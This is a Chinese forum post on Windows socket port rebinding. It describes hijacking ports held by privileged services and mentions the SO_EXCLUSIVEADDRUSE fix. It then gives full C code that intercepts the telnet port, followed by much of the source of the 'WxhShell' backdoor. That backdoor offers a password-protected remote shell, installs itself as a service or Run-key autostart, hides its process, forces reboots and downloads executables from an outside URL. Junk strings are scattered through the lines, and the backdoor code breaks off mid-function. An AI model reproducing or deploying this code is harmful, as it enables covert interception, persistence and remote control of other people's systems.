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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !`dMTW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1sq1{|NW~  
Oo/@A_JO@  
  saddr.sin_family = AF_INET; Y+gNi_dE  
W$J@|i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h>A~yDT[  
AG|:mQO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !O4)Y M  
TiKfIv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LCqWL1  
cvC 7#i[G  
  这意味着什么?意味着可以进行如下的攻击: @[#)zO  
esd9N'.Q*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e 3TKg  
\"9ysePI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #Eqx E o;  
6M[OEI5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bqw/\Lxwlf  
SP4(yJy&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P&Wf.qr{:  
J I E0O`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u17 9!  
nq\~`vH|Gd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xu@+b~C\  
vBV_aB1{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MC1&X'  
@DKph!c r  
  #include j2oU1' b  
  #include p-h(C'PqF  
  #include #e[igxwi  
  #include    91UC>]}H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e"ClG/M_XS  
  int main() j07b!j:"\}  
  { } a!HbH  
  WORD wVersionRequested; ->W rBO  
  DWORD ret; L$?YbQo7  
  WSADATA wsaData; 0y%s\,PsT  
  BOOL val; S~B{G T\M  
  SOCKADDR_IN saddr; b@B\2BT  
  SOCKADDR_IN scaddr; |AS9^w  
  int err; OpmPw4?}  
  SOCKET s; OG^#e+  
  SOCKET sc; 1 0tt':  
  int caddsize; = cI> {  
  HANDLE mt; / }(\P@Z  
  DWORD tid;   ;".]W;I*O  
  wVersionRequested = MAKEWORD( 2, 2 ); ufN`=IJ%  
  err = WSAStartup( wVersionRequested, &wsaData ); x5k6"S"1,  
  if ( err != 0 ) { #KDN  
  printf("error!WSAStartup failed!\n"); ,#hNHFa'JH  
  return -1; fz%e?@>q  
  } Hi&bNM>?O  
  saddr.sin_family = AF_INET; JTTI`b2l_  
   UW&K\P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X\5EF7:S  
E0eZal],  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8< "lEL|  
  saddr.sin_port = htons(23); ,S1'SCwVdJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ll`nO;h  
  { `m\ ?gsw7  
  printf("error!socket failed!\n"); pEY zB;  
  return -1; `&J=3x  
  } P UC:Pl77  
  val = TRUE; ~/!jKH7`j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ju_(,M-Vgr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B \.0 5<  
  { "F?p Y@4  
  printf("error!setsockopt failed!\n"); \o5/, C  
  return -1; 'Ecd\p  
  } 6G:7r [  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o:@A%*jg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~'LoIv20j)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SA~oGgk=P  
L7N>p4h]Xj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #^w8Y'{?  
  { T8Ye+eP}  
  ret=GetLastError(); ;MW=F9U*  
  printf("error!bind failed!\n"); /Tp>aW%}"  
  return -1; {mA#'75a#  
  } J:\O .F#Fi  
  listen(s,2); , 1il&  
  while(1) FwDEYG  
  { ]"i^ VVw  
  caddsize = sizeof(scaddr); 8zpTCae^=7  
  //接受连接请求 z*WQ=l2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]F4|@+\9  
  if(sc!=INVALID_SOCKET) Y~U WUF%aK  
  { nW]T-!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?d)FYB  
  if(mt==NULL) RY~m Q  
  { a'7RzN ,]  
  printf("Thread Creat Failed!\n"); rM20Y(|  
  break; }5y ]kn  
  } =l%|W[OO  
  } / 16 r_l  
  CloseHandle(mt); cFoeyI#v  
  } bJL,pe+u  
  closesocket(s); /%P,y+<}iG  
  WSACleanup(); \m+;^_;5GW  
  return 0; "=UhTE  
  }   |w.5*]?H  
  DWORD WINAPI ClientThread(LPVOID lpParam) +\Je B/F  
  { j`-9.  
  SOCKET ss = (SOCKET)lpParam; 0fx.n  
  SOCKET sc; kQ.3J.Q5  
  unsigned char buf[4096]; !D 9V9p  
  SOCKADDR_IN saddr; =]-D_$S~  
  long num; uD:tT ~  
  DWORD val; W 6CNMI]  
  DWORD ret; !H`uN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cB7'>L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y%8[bL$ d  
  saddr.sin_family = AF_INET; _%<q ZT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @&2# kO~=  
  saddr.sin_port = htons(23); (?z"_\^n/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <X]dR 6FT  
  { }?Tz=hP  
  printf("error!socket failed!\n"); A )xfO-  
  return -1; Uy$?B"Z  
  } 9j$J}=y  
  val = 100; s5oU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yu=(m~KX   
  { Y NGS"3F  
  ret = GetLastError(); D=~3N  
  return -1; S{JBV@@tC  
  } bYy7Ul6]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p;LF-R  
  { b IZi3GmRF  
  ret = GetLastError(); &MGM9 zm-]  
  return -1; g;!,2,De}  
  } CK1gzIg>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /Xw wB  
  { nY_+V{F  
  printf("error!socket connect failed!\n"); >\>!Q V1@  
  closesocket(sc); k E-+#p  
  closesocket(ss); RGLi#:0_.x  
  return -1; c 4L++ u#  
  } {(^%2dk83C  
  while(1) |3 v+&eVi  
  { oY7 eVuz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +'9eo%3O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6g'+1%O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]}BT'fky#  
  num = recv(ss,buf,4096,0); t+n+_X  
  if(num>0) f_ UwIP  
  send(sc,buf,num,0); I=}R Z9  
  else if(num==0)  X&.LX  
  break; hi9@U]H#  
  num = recv(sc,buf,4096,0); i}Cy q  
  if(num>0) gv9z`[erS  
  send(ss,buf,num,0); tCr? !Y~  
  else if(num==0) %s[ n2w  
  break; u'aWvN y+  
  } >w|2 ~oK  
  closesocket(ss); 8\CmM\R  
  closesocket(sc); :tBZu%N/N  
  return 0 ; d ]Mjr2h  
  } _~uYNvmg  
oCuKmK8  
G1/  
========================================================== <84d Vg  
}G 1hB#j  
下边附上一个代码,,WXhSHELL XN~r d,MZ%  
5w@Q %'o`I  
========================================================== 1fU~&?&-u  
'0/[%Q  
#include "stdafx.h" %ysf FE  
A@JZK+WB}  
#include <stdio.h> U,GY']J  
#include <string.h> TAZ+2S##7  
#include <windows.h> Dhp|%_>  
#include <winsock2.h> pc/]t^]p  
#include <winsvc.h> Q#*Pjl  
#include <urlmon.h> $rz'Ybs  
xi"Ug41)  
#pragma comment (lib, "Ws2_32.lib") =idZvD  
#pragma comment (lib, "urlmon.lib") "6o5x&H  
C/A~r  
#define MAX_USER   100 // 最大客户端连接数 ah0  
#define BUF_SOCK   200 // sock buffer "QCViR  
#define KEY_BUFF   255 // 输入 buffer w}``2djR'W  
S$Fq1  
#define REBOOT     0   // 重启 ^ot9Q  
#define SHUTDOWN   1   // 关机 bGa "r  
pn4~?Aua0/  
#define DEF_PORT   5000 // 监听端口 /&G )IY]g  
Fx'E"d  
#define REG_LEN     16   // 注册表键长度 g+M& _n  
#define SVC_LEN     80   // NT服务名长度 ,SSq4  
R%^AW2   
// 从dll定义API S#^-VZ~U4x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LkIbvJCV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [5QbE$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nN!R!tJPa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xsSX~`  
>X-*Hu'U#  
// wxhshell配置信息 ,{u'7p  
struct WSCFG { -K%~2M<  
  int ws_port;         // 监听端口 A0 1 D-)  
  char ws_passstr[REG_LEN]; // 口令 wv_<be[?*  
  int ws_autoins;       // 安装标记, 1=yes 0=no $+@xwuY'+  
  char ws_regname[REG_LEN]; // 注册表键名 UJ6zgsD1b?  
  char ws_svcname[REG_LEN]; // 服务名 2q*aq%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 };@J)}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 # dxS QmG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <Z8^.t)|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +K03yphZr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `d. 4 L.],  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LjMhPzCp  
|!H@{o  
}; Q!"W)tD  
,7|Wf %X  
// default Wxhshell configuration I 6Mr[#*  
struct WSCFG wscfg={DEF_PORT, UIi`bbJ  
    "xuhuanlingzhe", >PMLjXK  
    1, 5WG:m'$$  
    "Wxhshell", 9V( esveq  
    "Wxhshell", ?br4 wl  
            "WxhShell Service", [u}2xsSx  
    "Wrsky Windows CmdShell Service", &%`Y>\@f  
    "Please Input Your Password: ", 3Mt Alc0xp  
  1, x$Tf IFy  
  "http://www.wrsky.com/wxhshell.exe",  = ~^  
  "Wxhshell.exe" MJ0UZxnl  
    }; (YH/#n1"{  
(GI]Uyn  
// 消息定义模块 Y+'522er  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gtV*`g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zCdzxb_h"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N_),'2  
char *msg_ws_ext="\n\rExit."; Ig M_l=  
char *msg_ws_end="\n\rQuit."; Y]>Qu f.!  
char *msg_ws_boot="\n\rReboot..."; O)Mf/P'  
char *msg_ws_poff="\n\rShutdown..."; u.Z,HsEOb  
char *msg_ws_down="\n\rSave to "; @O%d2bgEWV  
e3b|z.^8  
char *msg_ws_err="\n\rErr!"; 6`l7saHXE  
char *msg_ws_ok="\n\rOK!"; WYNO6Xb#:  
T&PLvyBL  
char ExeFile[MAX_PATH]; |8YP8o  
int nUser = 0; 1xE*quhrh  
HANDLE handles[MAX_USER]; 8'6$t@oT9w  
int OsIsNt; #8[iqvE  
e<[0H 8  
SERVICE_STATUS       serviceStatus; OGqsQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,%%}d9  
fK{[=xMr@  
// 函数声明 JDy;Jb  
int Install(void); =j{r95)|u  
int Uninstall(void); >hbT'Or@  
int DownloadFile(char *sURL, SOCKET wsh); Ee?+IZ H7|  
int Boot(int flag); 'fkaeFzOl  
void HideProc(void); ie%_-  
int GetOsVer(void);  p3YF  
int Wxhshell(SOCKET wsl); =ap6IVR  
void TalkWithClient(void *cs); J%n{R60b  
int CmdShell(SOCKET sock); SS/t8Y4W  
int StartFromService(void); Vdz(\-}ao  
int StartWxhshell(LPSTR lpCmdLine); -d8||X[  
M?fRiOj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /K@{(=n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }.R].4gT  
<7%4=  
// 数据结构和表定义 p~xrl jP$  
SERVICE_TABLE_ENTRY DispatchTable[] = wuQ>|\Zs  
{ OK^0,0kS3  
{wscfg.ws_svcname, NTServiceMain}, bb^$]lT'  
{NULL, NULL} Lv{xwHnE  
}; /NDuAjp[@  
G]- wN7G  
// 自我安装 f YuM`O  
int Install(void) ^sjL@.'m$N  
{ j2/3NF5&  
  char svExeFile[MAX_PATH]; sUP !'Av  
  HKEY key; 6(X5n5C  
  strcpy(svExeFile,ExeFile); >.-$?2  
t9Nu4yl  
// 如果是win9x系统,修改注册表设为自启动 * (4TasQu  
if(!OsIsNt) { Y/1,%8n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GqrOj++>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A|esVUo<3^  
  RegCloseKey(key); %VCfcM}5I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1xkU;no  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #1C~i}J1  
  RegCloseKey(key); Q$(0Nx<  
  return 0; n*oa J<o%  
    } "n3i (sZ  
  } ;5.o;|w?!  
} 6!3Jr  
else { I:qfB2tL)O  
n6a*|rE  
// 如果是NT以上系统,安装为系统服务 426)H_wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8zRb)B+  
if (schSCManager!=0) %ycCNS  
{ :~2An-V  
  SC_HANDLE schService = CreateService kH43 T  
  ( [?$|   
  schSCManager, Gkr^uXNg#  
  wscfg.ws_svcname, ?"aj&,q+  
  wscfg.ws_svcdisp, GD$jP?  
  SERVICE_ALL_ACCESS, #89h}mp'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bn"r;pqWiT  
  SERVICE_AUTO_START, [wM<J$=2  
  SERVICE_ERROR_NORMAL, m7XJe[O  
  svExeFile, Rro{A+[,X  
  NULL, yt&eY6Xp  
  NULL, QS~;C&1Hl  
  NULL, ')9%eBaeK  
  NULL, 0)8QOTeT  
  NULL ItTIU  
  ); J L9d&7-  
  if (schService!=0) lbES9o5  
  { O^ ]I>A#d  
  CloseServiceHandle(schService); 8dw]i1t<  
  CloseServiceHandle(schSCManager); :8_`T$8i4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {tE/Jv $  
  strcat(svExeFile,wscfg.ws_svcname); %(-YOTDr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -%=StWdb   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i;0`d0^  
  RegCloseKey(key); ,<lxq<1I  
  return 0; OU(z};Is6Z  
    } ?CS jn  
  } kC R)k=*  
  CloseServiceHandle(schSCManager); FGOa! G  
} ]kmOX  
} gkpNT)  
wYf=(w \c  
return 1; ] %*970  
} H&L=WF+x  
UZdE ^Q[  
// 自我卸载 9xg_M=72  
int Uninstall(void) 2`* %NJ  
{ TKc&yAK  
  HKEY key; ED/-,>[f  
tji,by#E/%  
if(!OsIsNt) { !dLz ?0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mm=Y(G[_%y  
  RegDeleteValue(key,wscfg.ws_regname); ucj)t7O   
  RegCloseKey(key); %6 <Pt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O#7ldF(  
  RegDeleteValue(key,wscfg.ws_regname); 2t { Cpw  
  RegCloseKey(key); s8|#sHT  
  return 0; UBRMV s  
  } e>t9\vN#bx  
} N,ik&NIWy  
}  FZ>*<&  
else { vc2xAAQ  
7/vr!tbL`p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?E2k]y6<  
if (schSCManager!=0) ^BM/K&7^  
{ %:o@IRTRU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +^+wS`Y  
  if (schService!=0) (W/jkm  
  { #|XEBOmsQ  
  if(DeleteService(schService)!=0) { 0iX qAa  
  CloseServiceHandle(schService); =X X_C nn  
  CloseServiceHandle(schSCManager); V8Q#%#)FHe  
  return 0; 5?kA)!|UB  
  } Wsz='@XvB  
  CloseServiceHandle(schService); <J-OwO a-1  
  } +>qBK}`  
  CloseServiceHandle(schSCManager); "tIf$z  
} savz>E &  
} :,q3?l6  
Q]xW}5 /  
return 1; QBsDO].J<  
} w#mnGD  
sW2LNE  
// 从指定url下载文件 `^J~^Z7Y-  
int DownloadFile(char *sURL, SOCKET wsh) wH Z!t,g  
{ >KY\Bx  
  HRESULT hr; s*CKFEb#  
char seps[]= "/"; )+t5G>yKK  
char *token; a`pY&xq::  
char *file; eZHzo  
char myURL[MAX_PATH]; <Awx:lw.  
char myFILE[MAX_PATH]; 0K3FH&.%  
^RWt  
strcpy(myURL,sURL); P'9aZd  
  token=strtok(myURL,seps); o m_&|9B)  
  while(token!=NULL) h.=B!wKK  
  { uWnS<O  
    file=token; ['km'5uZ^  
  token=strtok(NULL,seps); Rg[e~##  
  } >!)VkDAG  
P)ZSxU  
GetCurrentDirectory(MAX_PATH,myFILE); jZ D\u%  
strcat(myFILE, "\\"); aJ)5DlfLR  
strcat(myFILE, file); .;KupQ;*  
  send(wsh,myFILE,strlen(myFILE),0); u}%&LI`.  
send(wsh,"...",3,0); |I\A0aa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Vs:Lle  
  if(hr==S_OK) }BogE$tc  
return 0; .hJ8K #r  
else _SP u`=~K  
return 1; 3sZK[Y|ax  
k13/yiv  
} +~fu-%,k  
M.8!BB7\8e  
// 系统电源模块 w|nVK9.  
int Boot(int flag) EhFhL4Xdn  
{ l.)N  
  HANDLE hToken; Ba+OoS  
  TOKEN_PRIVILEGES tkp; BWPYHWW}E  
NUnP'X=J,  
  if(OsIsNt) { a+~o: 5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |(P;2q4>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CLkVe  
    tkp.PrivilegeCount = 1; 0KQ8; &a|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rbtV,Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4P~<_]yf  
if(flag==REBOOT) { \~)573'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F{"%ey">  
  return 0; kN$70N7I;  
} H0(zE *c~  
else { Fp]8f&l8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -.*\J|S@g  
  return 0; M<p)@p  
} sMS`-,37u  
  } "G,*Z0V5  
  else { %@&)t?/=  
if(flag==REBOOT) { &V:dcJ^Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,){0y%c#y  
  return 0; $Tur"_`I;  
} .E}});l  
else { aXJe"IT.u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y@4vQm+  
  return 0; XP`kf]9  
} v4zd x)  
} 5,c`  
u9gr@06  
return 1; *"CvB{XF&Z  
} lhI;K4#  
IcoL/7k3  
// win9x进程隐藏模块 Td  F<  
void HideProc(void) ~+np7  
{ ". 0W8=  
H\k5B_3OU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >eTlew<5  
  if ( hKernel != NULL ) CbHNb~  
  { $ B9=v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =@w:   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0@Ijk(|  
    FreeLibrary(hKernel); |d3agfS[n  
  } * Z:PB%d5  
~?&ijhZ  
return; G'py)C5;  
} f lB,_  
\+u qP:Ty  
// 获取操作系统版本 biG9?  
int GetOsVer(void) 84[^#ke  
{ r9Z/y*q  
  OSVERSIONINFO winfo; u7=[~l&L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'JMa2/7CG  
  GetVersionEx(&winfo); $a A.d^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K(d!0S  
  return 1; \$C 4H  
  else SHk[X ]Uo  
  return 0; +Y~+o-_  
} W =zG  
2 QmUg  
// 客户端句柄模块 ]p!J]YV ]0  
int Wxhshell(SOCKET wsl) ffM(il/2  
{ 5G<CDgl^!  
  SOCKET wsh; 4cQ5E9  
  struct sockaddr_in client; 3I5WDuq  
  DWORD myID; C' ._}\nX  
>>$|,Q-.  
  while(nUser<MAX_USER) y2R=%EFh6  
{ gxOmbQt@;  
  int nSize=sizeof(client); W\,lII0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  z\tJ~  
  if(wsh==INVALID_SOCKET) return 1; B0i}Y-Z  
!_ Q!H2il  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %d0S-.  
if(handles[nUser]==0) aHC;p=RQ\A  
  closesocket(wsh); .e"Qv*[^  
else (g m^o{  
  nUser++; X^Y9T`mQ}  
  } pCmJY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k Ml<  
$t$f1?  
  return 0; =.E(p)fz  
} [bv@qBL  
9@Sb! 9h  
// 关闭 socket &XRFX 5gP  
void CloseIt(SOCKET wsh) @6q$Zg/  
{ v$G*TR<2  
closesocket(wsh); ;n!X% S<z*  
nUser--; F?} *ovy  
ExitThread(0); udGGDH  
} zt2-w/[Q  
}qv-lO  
// 客户端请求句柄 XyphQ}\u  
void TalkWithClient(void *cs) E ZKz-}  
{ r$FM8$cJ  
~{YgM/c|dt  
  SOCKET wsh=(SOCKET)cs; xD# I&.  
  char pwd[SVC_LEN]; AtlR!I EUb  
  char cmd[KEY_BUFF]; _CJr6Evs  
char chr[1]; %GbPrlu  
int i,j; %`QsX {?,  
;lH,bX~5  
  while (nUser < MAX_USER) { ,R}KcZG)  
T(UYlLe  
if(wscfg.ws_passstr) { mzxvfXSF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iT5SuIv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \~t~R q  
  //ZeroMemory(pwd,KEY_BUFF); '1'1T5x~  
      i=0; 9! HMQ  
  while(i<SVC_LEN) { bM^A9BxD  
\a2oM$PX  
  // 设置超时 GFdJFQio  
  fd_set FdRead; 6r=)V$K <  
  struct timeval TimeOut; %]0U60  
  FD_ZERO(&FdRead); #}7m'F  
  FD_SET(wsh,&FdRead); HQ`nq~%&(  
  TimeOut.tv_sec=8; +Z&&H'xD  
  TimeOut.tv_usec=0; *rz(}(r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q>(u>z!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oHXW])[  
UUf1T@-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aE+$&_>ef  
  pwd=chr[0]; ICbdKgLz  
  if(chr[0]==0xd || chr[0]==0xa) { Zmbz-##HQ  
  pwd=0; qV8\/7'A0a  
  break; Ym{%"EB  
  } gpK_0?%  
  i++; jnp6qpY{  
    } %[\x%m)  
Z*(! `,.bB  
  // 如果是非法用户,关闭 socket J s<MJ4r>/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fyq] M_5  
} sQ:VrXwP  
y7)[cvB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hf^`at  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i? _D]BY4  
a-A+.7  
while(1) { c w]>a&d  
K'5sn|)  
  ZeroMemory(cmd,KEY_BUFF); mz$Wo *FB  
=R;1vUio  
      // 自动支持客户端 telnet标准   ,cy/fW  
  j=0; 8pL>wL &C  
  while(j<KEY_BUFF) { pL}j ZTo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FHNuMdFn  
  cmd[j]=chr[0]; Rc:cVK  
  if(chr[0]==0xa || chr[0]==0xd) { M |Q  
  cmd[j]=0; JeTrMa2  
  break; EM 54  
  } wy_;+ 'Y  
  j++; e|5B1rMM  
    } tct 5*.|  
=PKt09b^  
  // 下载文件 ssX6kgq_(  
  if(strstr(cmd,"http://")) { @)Hbgkdi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qe6C|W~n  
  if(DownloadFile(cmd,wsh)) 3@TG.)N4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C*y6~AYN#  
  else @t; O"q'|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hu9-<upc&  
  }  sx(l  
  else { z^!A/a[[!  
fyg~KF}  
    switch(cmd[0]) { 5lHN8k=mm2  
  snTJe[^d  
  // 帮助 H&yFSz}6a  
  case '?': { ~b$z\|Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wO_pcNYZ8  
    break; A.$VM#  
  } 1_j<%1{sZ  
  // 安装 Tu= eQS|'  
  case 'i': { BV }(djx  
    if(Install()) x)#<.DX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7FP"YU  
    else ttbQergS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M~z (a3@[V  
    break; 3<)@ll  
    } $E`i qRB  
  // 卸载 !skb=B#  
  case 'r': { ^E<~zO=Z  
    if(Uninstall()) )0 n29  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {b-0_  
    else # McK46B z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X$uz=)  
    break; N1+4bR  
    } Bgk~R.l  
  // 显示 wxhshell 所在路径 9-a2L JI  
  case 'p': { lN)Y  
    char svExeFile[MAX_PATH]; gB{]yA"('  
    strcpy(svExeFile,"\n\r"); vA2,&%jw  
      strcat(svExeFile,ExeFile); xu"94y+  
        send(wsh,svExeFile,strlen(svExeFile),0); 0XR;5kd%  
    break; ~aqT~TL_  
    } {? K|(C  
  // 重启 RQ*|+ ~H  
  case 'b': { !4 4mT'Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7SA-OFM  
    if(Boot(REBOOT)) TRySl5jx@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :_fjml/  
    else { DX&lBV  
    closesocket(wsh); zO).<xIq+  
    ExitThread(0); A4#3O5kij  
    } mV**9-"  
    break; -n=$[-w  
    } GLaZN4`  
  // 关机 c >u>Pi;Z  
  case 'd': { EvSnZB1 y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C>JekPeM  
